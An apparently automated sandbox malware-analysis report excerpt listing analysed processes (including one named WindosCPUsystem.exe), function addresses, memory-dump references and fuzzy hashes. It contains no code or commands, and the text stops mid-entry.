Instruction Fuzzy Hash: E741A476E0EAC25FF34A97284D650A16F50FF52798B4D01F6C1888B0D3EE189C079256

Analysis Process: aspnet_compiler.exePID: 1012, Parent PID: 1028COMMON

Executed Functions

Function 0000000140001140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2197848088.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69feff347bfda074aa7f07e48b7f2b5744d9c7d3b152f021baa2038210904211
Instruction ID: e76669c8f4f670c94b621c8b927ebc9d9c9485ce5bf3cc4b479e0f1cdb2a001a
Opcode Fuzzy Hash: 69feff347bfda074aa7f07e48b7f2b5744d9c7d3b152f021baa2038210904211
Instruction Fuzzy Hash: B7B012B050030884E306AF13F8413C93660674C7C0F400000F70813372C67940404B10

Analysis Process: explorer.exePID: 6760, Parent PID: 1012COMMON

Non-executed Functions

Function 00000001403274D0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000001403274FC
GetCurrentThreadId.KERNEL32 ref: 000000014032750A
GetCurrentProcessId.KERNEL32 ref: 0000000140327516
QueryPerformanceCounter.KERNEL32 ref: 0000000140327526

Memory Dump Source

Source File: 00000006.00000002.3379271328.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.3379240868.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3379529073.0000000140360000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3379697446.00000001404C8000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3379697446.00000001404EC000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3379697446.00000001404EF000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3379697446.0000000140777000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3379697446.00000001407F8000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3379949484.00000001407FB000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3379991572.000000014081B000.00000020.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3380024651.0000000140821000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_explorer.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 50963c1dba7b536eca43502744e0d9cb47a5b65a5662e8b8edda2bbabb9365db
Instruction ID: 79b49984e369f14b3cfd6b091ae87a2c1abf041b5e0bbbfb70a1ccaeb1af311f
Opcode Fuzzy Hash: 50963c1dba7b536eca43502744e0d9cb47a5b65a5662e8b8edda2bbabb9365db
Instruction Fuzzy Hash: 89112736710F018AEB11CF61E8553A933A4F75DB58F481E25EB6D86BA4DBB8C1998340

Analysis Process: WindosCPUsystem.exePID: 6600, Parent PID: 1012COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF8490D31F2 Relevance: 2.1, Strings: 1, Instructions: 809
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

l9_H, xrefs: 00007FF8490D368F

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID: l9_H
API String ID: 0-1042989441
Opcode ID: dcb6a717c50da7bc159e3d1ab2640b71b43840b3a54459c9d0ac327fab265c13
Instruction ID: 0ed8dab0a5d0b22ff3fc306481ec1aff207ecadc75a87e60557e70dd517a1a16
Opcode Fuzzy Hash: dcb6a717c50da7bc159e3d1ab2640b71b43840b3a54459c9d0ac327fab265c13
Instruction Fuzzy Hash: 5542A231A1CA8A8FEB98EF18C4957B977E1FF98744F540579D44AC7286CE38E842C781

Function 00007FF8490D0DF2 Relevance: 1.6, Strings: 1, Instructions: 321COMMON

Download Yara Rule

Strings

63_^, xrefs: 00007FF8490D0E01

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID: 63_^
API String ID: 0-1675173568
Opcode ID: c8776474a3b97c4f1dbbf052766b2b72223b898358534ca3e7fe0967e18ef06f
Instruction ID: 057c684d08932c04ad142f57782b4b1e0b5223d17562923bfb55c40e6b03c9db
Opcode Fuzzy Hash: c8776474a3b97c4f1dbbf052766b2b72223b898358534ca3e7fe0967e18ef06f
Instruction Fuzzy Hash: 34A13732E1EB869EE654FB78A4855F6B7E0FF54358F14437AC04D8B183CE2DB8428295

Function 00007FF8490DCC43 Relevance: .9, Instructions: 895
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2deeb96ea68f19a1ae808a66b65ba0a5bdc9454c4c151655862442d32a24cce
Instruction ID: c0631dfd5d6a16700b3f7d1c0f41439cb1b10e403cc4599d446f827b0e221d58
Opcode Fuzzy Hash: f2deeb96ea68f19a1ae808a66b65ba0a5bdc9454c4c151655862442d32a24cce
Instruction Fuzzy Hash: 8A420C30A0CE9A4FEB69AF7884142B977D2FFA5391F14467AD04AC36C6DF28E8418740

Function 00007FF8490D5140 Relevance: 2.2, Strings: 1, Instructions: 947
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2_H, xrefs: 00007FF8490D5851

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID: 2_H
API String ID: 0-1234483377
Opcode ID: 81d607044dbb0d4dbdfda6f4414da5d540b8ba5da448b5fd7c9eeb65dab29c91
Instruction ID: 8f57b3428f44463300a995072e34a5ff92eec974842fd9c00502165e123ea92a
Opcode Fuzzy Hash: 81d607044dbb0d4dbdfda6f4414da5d540b8ba5da448b5fd7c9eeb65dab29c91
Instruction Fuzzy Hash: 2552BF31A1C9898FEFA4EF2CD459A7837E5FF59340B1402BAD84EC72A6DE24EC458741

Function 00007FF8490D7366 Relevance: 2.1, Strings: 1, Instructions: 864
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>N]H, xrefs: 00007FF8490D77F2

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID: >N]H
API String ID: 0-1017518847
Opcode ID: dcad8c02a6ac0caaeb884d4aa7dd5d30b492100a1a50c550f74d0928b7a4b2bb
Instruction ID: 18a0d1e2ab8b96ba6e9421f231ec61d401bc7c260ff2c7ba3172bd1f81f37200
Opcode Fuzzy Hash: dcad8c02a6ac0caaeb884d4aa7dd5d30b492100a1a50c550f74d0928b7a4b2bb
Instruction Fuzzy Hash: A1529270A1CA598FEFA8EF2894556A977E5FF99340F1402B9D04DC3296DE34EC42CB81

Function 00007FF8490DB535 Relevance: 2.0, Strings: 1, Instructions: 773
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8_H, xrefs: 00007FF8490DB590

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID: 8_H
API String ID: 0-1141063015
Opcode ID: 979966ae159a1f04dc9d082a0f56c12e40a42c9c1c51725875642794b71a17a5
Instruction ID: f2d849d66881e6b08ae497f32e58dd590eceec98366a658d5fe9ed0742b85fdd
Opcode Fuzzy Hash: 979966ae159a1f04dc9d082a0f56c12e40a42c9c1c51725875642794b71a17a5
Instruction Fuzzy Hash: B832B330A1CA594FEBA8EB2CD455AB977E1FF59740F1042B9D04EC7296DE34EC428B81

Function 00007FF8490D73A9 Relevance: 1.8, Strings: 1, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>N]H, xrefs: 00007FF8490D77F2

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID: >N]H
API String ID: 0-1017518847
Opcode ID: 607e952ec39895717cffbbd2bdb069c2d201021af41590bad400883aa1e9219b
Instruction ID: 9b069579ba33cd86d585dddbcc28b270012990cec2b6307be7b1dcc6e6cd2261
Opcode Fuzzy Hash: 607e952ec39895717cffbbd2bdb069c2d201021af41590bad400883aa1e9219b
Instruction Fuzzy Hash: 8A028230A1CA994FDFA9EB2C94557A977E2FF99740F0402B9D04DC7296DE24EC42CB81

Function 00007FF848F35C40 Relevance: 1.7, APIs: 1, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2759182561.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f30000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61b393a46b10673441e631b44939a49606840d0fe2c54d73b29bd179df6b4989
Instruction ID: 4348ed79da34614535a2499dbf27fbafffad97c00abf10b4c8d4f4e6a7b5e9df
Opcode Fuzzy Hash: 61b393a46b10673441e631b44939a49606840d0fe2c54d73b29bd179df6b4989
Instruction Fuzzy Hash: 9FF18C7081DA8D8FDB85EF68C855AEDBBF0FF69300F0441AAD449D7292DB34A985CB41

Function 00007FF8490D0F60 Relevance: 1.0, Instructions: 991COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5889c89877ee541c7798c2c21edbab54086a32c1e8c6ff7f04360cf8fe24a85c
Instruction ID: f46cd2bd209fcd344a5dbe4c0598ebe9274aeb3eafba94f1c6278219acbfddc8
Opcode Fuzzy Hash: 5889c89877ee541c7798c2c21edbab54086a32c1e8c6ff7f04360cf8fe24a85c
Instruction Fuzzy Hash: 9D622661D1D6C64FEBBDAB2848169B53BE4EF56390F0806BDC48DC75E3ED1CA80A8741

Function 00007FF8490D000A Relevance: .7, Instructions: 729
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adbb3c86b7ce92222a05a7bd3a4bc73e4bceed6b59e4583e95311332ce08f728
Instruction ID: c6f168423e2fda8746304e781afce710cb448d6e7b44489ba09347d1acd45bc1
Opcode Fuzzy Hash: adbb3c86b7ce92222a05a7bd3a4bc73e4bceed6b59e4583e95311332ce08f728
Instruction Fuzzy Hash: D1325630E1DA865FE766EE2898855757BF4FF55380F0406B9D48EC7186DE28FC028782

Function 00007FF8490D7CD5 Relevance: .7, Instructions: 671
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90c787cdd68b2f2f4b6f3a127e1a7e99c95e37e358be5d29d9e614d8e93fdac5
Instruction ID: c45e24c52beca7157c7c449cb89637e7a3867e90a7a37803a777d832b1ca78c3
Opcode Fuzzy Hash: 90c787cdd68b2f2f4b6f3a127e1a7e99c95e37e358be5d29d9e614d8e93fdac5
Instruction Fuzzy Hash: 00226431A1C98D8FDFA9EF68D4559B97BE1FF99380B0402B9D44DC7296DE24E842C780

Function 00007FF849023001 Relevance: .6, Instructions: 603
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5aeb4ca65c710aabd851588d2fc6d508561cda93cb83c0697b19e4c9e444f4e2
Instruction ID: 934c740bc8f2156ac5e00ab2a1f2f4f3520d31a513e8cbde9249d7850206262d
Opcode Fuzzy Hash: 5aeb4ca65c710aabd851588d2fc6d508561cda93cb83c0697b19e4c9e444f4e2
Instruction Fuzzy Hash: AA129F71D0C98A9FEFB5EE2898552F977F5FF68B80F1401B6C40CD3192DA28AC858751

Function 00007FF849023B3B Relevance: .5, Instructions: 540
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4253166b4bb6c7d0336069c0121cd1296867b302afcc737d696cbd346338d4
Instruction ID: f47591ba878002625274309d62eb2ccc029ed06667ac0b463faa8654d65a852d
Opcode Fuzzy Hash: ff4253166b4bb6c7d0336069c0121cd1296867b302afcc737d696cbd346338d4
Instruction Fuzzy Hash: DC12D530D0C65ACFEBA4EF68C8956B977B1FF69745F5001B9D009A7292CB38AC85CB41

Function 00007FF8490DC81D Relevance: .4, Instructions: 438
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f864d855823de003235ca12de9e5568213343d4bc76421bd3030a7d32928330a
Instruction ID: 331843a5794b54a19e088b7ad23e2c8dd273810667985536d2bbf264664932ea
Opcode Fuzzy Hash: f864d855823de003235ca12de9e5568213343d4bc76421bd3030a7d32928330a
Instruction Fuzzy Hash: C2D1F730A1CB964FEB79AA6C94542B577D6EF543A8F24477DC09BC32C2DE28E8428741

Function 00007FF8490D6949 Relevance: .4, Instructions: 402COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f601fb1dc54f271140dd51cc210e4757893f23094da458dab2ab9c3b6fc31ff
Instruction ID: 1a2694fe31939b2007fd7892da2d7f1a142746c49489f5bffca2aed157cb97b3
Opcode Fuzzy Hash: 9f601fb1dc54f271140dd51cc210e4757893f23094da458dab2ab9c3b6fc31ff
Instruction Fuzzy Hash: 2FB1B430B1CA494FEBA8EF6C9455AB977E1EF59750F044279D04EC7292DD28EC428781

Function 00007FF8490D8516 Relevance: .4, Instructions: 393COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f409f611a417d11a708d2aadac6448fd3b5d2a24ace9e2f3dc843e29968a11f6
Instruction ID: 73cc689979f7c62d6b01b5c57d0003ff1f4e3bbbd78ab11b836719344d67ae50
Opcode Fuzzy Hash: f409f611a417d11a708d2aadac6448fd3b5d2a24ace9e2f3dc843e29968a11f6
Instruction Fuzzy Hash: 64C12631A0DAC64FEBB5EB3884556B57BE1FF59390B1801BAD44DC7293DE28EC468341

Function 00007FF8490DDAD1 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a8a64a91f5a4f4a175f85c19b72d3568f42af16240111fc5b4fa54321d9660d
Instruction ID: f433ea344b131570261dcc0e07c4be9095bd61e10fa4b705641feb5b3f4096cc
Opcode Fuzzy Hash: 1a8a64a91f5a4f4a175f85c19b72d3568f42af16240111fc5b4fa54321d9660d
Instruction Fuzzy Hash: 8AA17B31E0CACB4FEB69AB3C94512B577D5EF95355F0402BAD04EC7582DE2CE8468381

Function 00007FF8490D1E21 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82a467ea565c002d537fbc2622569fe3e876f7cbc983eae3c4d435d3bf586660
Instruction ID: 0fc5f266df35108161d765edb9a93b83f3ea91e3faf91c0184d7054cbcbdb8df
Opcode Fuzzy Hash: 82a467ea565c002d537fbc2622569fe3e876f7cbc983eae3c4d435d3bf586660
Instruction Fuzzy Hash: 76C15E3091CA898FDFE8EF18C456AA977E5FF59380F1406A9E44DC7292CE34E856C781

Function 00007FF849024979 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74a92fc3e3910ecfef28134879cd8f7bb1295b79c655958e0ca4bbfcccce42c1
Instruction ID: 35312ef8a20c0799957395fb4b06c1db6639a7d1204eb6ad7d020ca64cadf7e8
Opcode Fuzzy Hash: 74a92fc3e3910ecfef28134879cd8f7bb1295b79c655958e0ca4bbfcccce42c1
Instruction Fuzzy Hash: 1AC14931D0C69A8EEFA5EF6884557B97BB1FF59344F1400B9D40DE7292DA78AC81CB40

Function 00007FF8490D8894 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b57d6baa81841e1d92c09e9401135396f21aee0de1e20037a6e18cebd183c667
Instruction ID: 1867d703713ce2038c10c16bcc1ba08f79d15f1d90d5e1e5525cd40a5a273e0a
Opcode Fuzzy Hash: b57d6baa81841e1d92c09e9401135396f21aee0de1e20037a6e18cebd183c667
Instruction Fuzzy Hash: 89A16C30B1CA598FEFA8EF6C9455AB9B7E5FF59740B040279D44EC3296CE24EC418781

Function 00007FF8490D0838 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 614738e64f63988ef7750ac932d0619f6f67007893f84789c06e991935fa8517
Instruction ID: d74c88e9416660b791296d9a074e54b15e61246997889921bd69da01a41a95fe
Opcode Fuzzy Hash: 614738e64f63988ef7750ac932d0619f6f67007893f84789c06e991935fa8517
Instruction Fuzzy Hash: FAA1A371E0D9998FDFB8EE288851BA977A5EF99340F0442F9D44DD3282CE34ED858781

Function 00007FF8490D216D Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b11fff6916ca884535aa0cfadae82d88324e299e98e7b434842e33682cb642e6
Instruction ID: 68c0401f8bbae6fcd3a4d03d8fb14cae9fe49f0885184f89ed714cba4e2d6d12
Opcode Fuzzy Hash: b11fff6916ca884535aa0cfadae82d88324e299e98e7b434842e33682cb642e6
Instruction Fuzzy Hash: 9AA1003061C9898FEF99EF2CD455AA977E1FFA8340B5441A9E44DC7296CE35EC82C780

Function 00007FF8490D4BF9 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23f977f8f5b878980e38f067b219178d5cf1b7fe43e798801bfbb0d5a84a3cc1
Instruction ID: 85f6896f5f96a6bcf5e85d1093d6916135a19395bd05856339fa7f3be9ddb7a6
Opcode Fuzzy Hash: 23f977f8f5b878980e38f067b219178d5cf1b7fe43e798801bfbb0d5a84a3cc1
Instruction Fuzzy Hash: 3181E521B0DDCA8FEBA6EB2C58156743BD5EF55780B1901BAD08DC72D3DE18EC468341

Function 00007FF8490DAC48 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e293abe58da848711e70deca304a5675eead0a4917bcb7923839fc68af7f43c5
Instruction ID: 5ae9efae934fb1ab5fb5aafd3d17314d36c621f7508d034d9a19f7d898dccb5f
Opcode Fuzzy Hash: e293abe58da848711e70deca304a5675eead0a4917bcb7923839fc68af7f43c5
Instruction Fuzzy Hash: 7C91B630B0C9598FDBA8FF6894556B9B7E5FF99350F0046B9D04EC7292CE28EC428780

Function 00007FF8490DC565 Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970da1f9fece24961b626d753564e55660c94019968a615528d079dc517be7e6
Instruction ID: 4fe3c6bea46debd9bb674707fe6a39b396eb1c923aff953dd30e130bc51beec9
Opcode Fuzzy Hash: 970da1f9fece24961b626d753564e55660c94019968a615528d079dc517be7e6
Instruction Fuzzy Hash: FC914831D0DBD64FEBA5EF3894491657BD0EF65690B0806FEC089CB5D3DE29E8868341

Function 00007FF8490D3793 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702f1825796815126221fdfd86a2037b79d3e566764d60fe30b432bc3b65dc16
Instruction ID: 6740e5c2c80cf772895fb0182f6f3b69c7d01864d5918983dea78ecce6f1699a
Opcode Fuzzy Hash: 702f1825796815126221fdfd86a2037b79d3e566764d60fe30b432bc3b65dc16
Instruction Fuzzy Hash: E1919375A1CB8A8FDB98EE1CC4917B577E1FF58744F14066DD88A87282CB38E852CB41

Function 00007FF8490D7E5F Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d5fdb8ad39bbe0eb6d81671d4122be92b9cb9f22a76ac3086a8270c48a6e4d2
Instruction ID: 8380bb977b4128ca07b2c0c1c1272170a0367394ba2ab0ed84bf3e8f00036fe7
Opcode Fuzzy Hash: 4d5fdb8ad39bbe0eb6d81671d4122be92b9cb9f22a76ac3086a8270c48a6e4d2
Instruction Fuzzy Hash: 8261A131A0C9898FEFA5EF2CD4556A937E1FFA9750B0506B9D40DC7286CE24EC42C781

Function 00007FF8490D0F5A Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42ce4f6f7723d8c4dc9cb1e84545ab77e45c4ce9a78c3a36606dcc06f184ade7
Instruction ID: 7e6e72d6d24138d2526690dfcdb70ec2c15f6eddc6040e25c263ea2d9e279c5e
Opcode Fuzzy Hash: 42ce4f6f7723d8c4dc9cb1e84545ab77e45c4ce9a78c3a36606dcc06f184ade7
Instruction Fuzzy Hash: CA516721F2DACA0FE7ACBA2C58066B677E1EF98750F04027DD04EC3287DD28E8474281

Function 00007FF8490D6FBA Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d09c11e4538719f7b07b664d7b0a28fd11baadb26a304f15301dcbe7a0b8725f
Instruction ID: 0ed8858328fbb941fabfb0b4e1ce6538b103730af853d98a6d27dd24ce24aeae
Opcode Fuzzy Hash: d09c11e4538719f7b07b664d7b0a28fd11baadb26a304f15301dcbe7a0b8725f
Instruction Fuzzy Hash: D2618271E1DA994FDFB8EE2888517A577E5EF99340F0442F9D04DD3282CE34AD458781

Function 00007FF8490D6772 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53a896be406e6c90134a729838fcb998cd11d5f15b1784fe50fe8812f896ab99
Instruction ID: b8cbd73771882f9c587ff346553289f0cf9fa92861b1db076c7ad9727c66da8a
Opcode Fuzzy Hash: 53a896be406e6c90134a729838fcb998cd11d5f15b1784fe50fe8812f896ab99
Instruction Fuzzy Hash: C251D330B1D9998FEB98EB2C9459A7577E5EF59344F1402BDE00DC72A3DE29EC428740

Function 00007FF8490D2BB0 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

